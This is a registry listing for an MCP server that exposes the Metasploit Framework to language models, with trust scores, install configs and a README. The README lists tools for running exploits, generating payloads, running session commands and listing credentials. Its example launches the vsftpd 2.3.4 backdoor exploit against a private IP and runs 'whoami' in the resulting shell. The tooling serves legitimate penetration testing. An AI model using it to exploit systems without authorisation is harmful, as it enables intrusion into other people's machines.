mcp-pymetasploit3 MCP Server
MCP server for Metasploit Framework via pymetasploit3
mcp-pymetasploit3 scores 57 (Fair), licensed MIT and written in Python. It installs as a local process. It declares 40 tools. Filed under Uncategorized. GitHub shows 1 stars. Install configs are generated for 10 clients. Being listed in the registry is not the same as being vendor-official.
Fair trust
57 of 100 from six public signals. Nobody can buy a point.
- Listed in the official MCP registry.
- OSI-style license: mit.
License, quality and maintenance
Quality: Grade B
73/100 for listing completeness. Lost points: 35 of 40 tools barely described, short summary, no docs link.
How quality is graded
Where the 57 comes from
22 + 10 + 1 + 10 + 4 + 10 = 57. Each factor is capped, so no single signal can carry a listing.
Active in the official MCP registry, plus a known vendor namespace.
Registry: 22 of 30 points.How recently the repository saw a commit or release.
Maintenance: 10 of 20 points.GitHub stars and weekly downloads, on a log scale.
Popularity: 1 of 20 points.A clear, OSI-style open-source license.
License: 10 of 10 points.Not archived, a secure install path, a pinned version.
Security: 4 of 10 points.A real summary, a README with depth, listed tools.
Docs: 10 of 10 points.Install
Pick your client, copy the config, paste it in.
Needs Cursor or VS Code installed on this device. The button opens the app and asks you to confirm before it adds the server.
{ "mcpServers": { "daedalus-mcp-pymetasploit3": { "command": "uvx", "args": [ "mcp-pymetasploit3" ] } }}
Environment variables
This server does not declare environment variables.
Tools40Tool docs quality grade D
All capabilitiesconsole_is_busytoolCheck if console is busy
Reload modules
core_savetoolSave core state
core_set_globaltoolSet global variable
Unset global variable
create_consoletoolCreate a new console
db_list_credstoolList credentials
db_list_hoststoolList hosts
db_list_notestoolList notes
db_list_servicestoolList services
db_list_vulnstoolList vulnerabilities
List workspaces
About
mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.
Install
pip install mcp-pymetasploit3
MCP Server Configuration
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
Usage
Starting Metasploit RPC Server
Before using the MCP server, you need to start the Metasploit RPC server:
Using msfrpcd:
msfrpcd -P yourpassword -p 55553 -n
Using msfconsole:
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
MCP Tools
Once connected, the following tools are available:
Connection Management
connect- Connect to Metasploit RPC serverdisconnect- Disconnect from RPC serverget_client_info- Get current connection status
Module Management
list_modules- List available modules by typeuse_module- Load a specific moduleget_module_info- Get module description and infoget_module_options- Get all module optionsset_module_option- Set a module optionget_missing_required- Get required options not setexecute_module- Execute a moduleget_module_targets- Get available targetsset_module_target- Set the targetget_target_payloads- Get compatible payloads
Payload Generation
generate_payload- Generate a payload
Session Management
list_sessions- List all active sessionsget_session_info- Get session informationinteract_session- Write/read from sessionsession_run_command- Run command with outputstop_session- Stop a session
Console Management
create_console- Create a new consoledestroy_console- Destroy a consolewrite_console- Write to consoleread_console- Read console outputconsole_is_busy- Check if console is busyrun_module_output- Execute module and get output
Core/Framework
get_framework_version- Get framework versioncore_save- Save core statecore_reload_modules- Reload modulescore_set_global- Set global variablecore_unset_global- Unset global variable
Database
get_db_status- Get database statusdb_list_workspaces- List workspacesdb_set_workspace- Set current workspacedb_list_hosts- List hostsdb_list_services- List servicesdb_list_notes- List notesdb_list_creds- List credentialsdb_list_vulns- List vulnerabilities
Jobs
list_jobs- List running jobsstop_job- Stop a jobget_job_info- Get job information
Plugins
list_plugins- List loaded pluginsload_plugin- Load a pluginunload_plugin- Unload a plugin
Search
search_modules- Search for modulesget_module_references- Get module references
Example
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()
Development
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/
mcp-name: io.github.daedalus/mcp-pymetasploit3
Frequently asked questions
What is mcp-pymetasploit3 MCP Server?
MCP server for Metasploit Framework via pymetasploit3
How do I install mcp-pymetasploit3 MCP Server in Claude Desktop, Cursor, or VS Code?
Pick your client in the Install section on this page and copy the generated config into the client's config file. Step-by-step guides: Claude Desktop, Cursor, and VS Code. mcp-pymetasploit3 MCP Server runs locally from the PyPI package mcp-pymetasploit3 with the command uvx mcp-pymetasploit3.
Is mcp-pymetasploit3 MCP Server free and open source?
Yes. mcp-pymetasploit3 MCP Server is released under the MIT license, an OSI-approved open-source license, so you can use, modify, and self-host it under those terms.
Does mcp-pymetasploit3 MCP Server support remote (HTTP) connections?
No remote endpoint is listed for mcp-pymetasploit3 MCP Server. It runs locally on your machine over stdio, started by your MCP client.
What tools does mcp-pymetasploit3 MCP Server provide?
mcp-pymetasploit3 MCP Server provides 40 tools, including console_is_busy, core_reload_modules, core_save, and core_set_global. See the full tool list for descriptions and parameters.
How is mcp-pymetasploit3 MCP Server's trust score calculated?
mcp-pymetasploit3 MCP Server scores 57 out of 100 (Fair). The score adds six capped public signals: registry status, maintenance, popularity, license, documentation, and security. Nobody can pay for points. Read the methodology for the full formula.
Reviews
No reviews yet—Be the first to review
No published reviews yet. Used it? Tell the next person how it went.
Sign inA verified email is required to review this server.
Add badge to your README
Paste either snippet into the repository README. The image links to this listing.